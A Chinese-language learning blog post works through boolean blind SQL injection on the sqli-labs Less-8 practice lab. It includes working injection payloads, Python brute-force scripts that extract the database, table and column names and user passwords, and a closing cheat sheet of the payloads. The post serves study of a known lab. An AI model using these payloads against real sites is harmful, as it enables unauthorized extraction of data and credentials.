前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注

首先来了解一下盲注的概念

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。

布尔盲注

原理:
注入的时候只会返回True和False,所以布尔盲注就是根据页面显示的是True还是False进行猜测数据库中的信息。

布尔盲注需要几个函数的辅助,就先来了解一下这几个函数

length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符

具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。

判断注入点(也就是闭合符号)
发现输入id=1'会报错

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

id=1'后再加上注释符号后又回显正确,所以判定闭合符号为'

爆数据库长度
知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+

回显正确
sql注入学习——布尔盲注_字符串
手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为8

爆数据库名
知道了数据库名的长度,接下来就来爆破数据库名

Less-8/?id=1' and  ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+

原理都一样,目的就是取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以写脚本,也可以用burp爆破,这里两种方法都试一下

burp爆破
先抓包
sql注入学习——布尔盲注_sql_02
设置变量,这里设置了两个变量所以上面的框中要选第四个选项
sql注入学习——布尔盲注_数据库_03
第一个变量设置为numbers 1到8,第二个变量也设置为numbers 0到127
sql注入学习——布尔盲注_字符串_04
分别设置好,然后开始爆破。
不过太慢了,应该是我burp设置的有问题,这里就学习一下这种方法,爆破还是脚本来吧。
sql注入学习——布尔盲注_SQL注入_05
附上大佬博客利用burp盲注
脚本爆破
目前脚本还不会写,就参考大佬的学习一下
大佬博客布尔盲注
脚本中一些不太懂的语法就参考下面大佬的博客
Python requests
Python——入门级(定义功能def函数)
格式化输出字符串

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i  #格式化输出字符串
		# print(url+payload+'%23')
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)
 
		else:
			#print('false')
			print('database_length:',i)
			break
database_len()
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)

database_name()

sql注入学习——布尔盲注_sql_06
爆出了数据库名和长度,接下来改payload爆出表名
payload:

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+

修改一下脚本

import requests

def table_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('table_name:',name)

table_name()

通过修改 limit 0,1 来获取其他表名
sql注入学习——布尔盲注_SQL注入_07
爆出列名
payload:

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

修改脚本,跑出列名

import requests

def column_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('column_name:',name)

column_name()

sql注入学习——布尔盲注_SQL注入_08
其他的修改limit后的值即可得出其他的列名

爆值

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+  

脚本还和上面的相同,只不过改下payload,但是这个脚本是有缺陷的,就是在遍历,但是我们赋给i的字符只有小写的,有可能其他大写的或特殊符号显示不出来,只要加上就行了。但是这样做的话脚本跑的也会很慢,还是好好学习python,写一个更加便捷的。

最后总结一下布尔盲注常用语句

爆数据库长度

?id=1' and (length(database()))>1 --+

爆数据库名

?id=1' and (ascii(substr(database(),1,1)))>1 --+

爆表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

爆列名

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+

爆值

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+  

语句几乎不变,根据需要加以改动即可,这次就先学习布尔盲注,接下来学习时间盲注。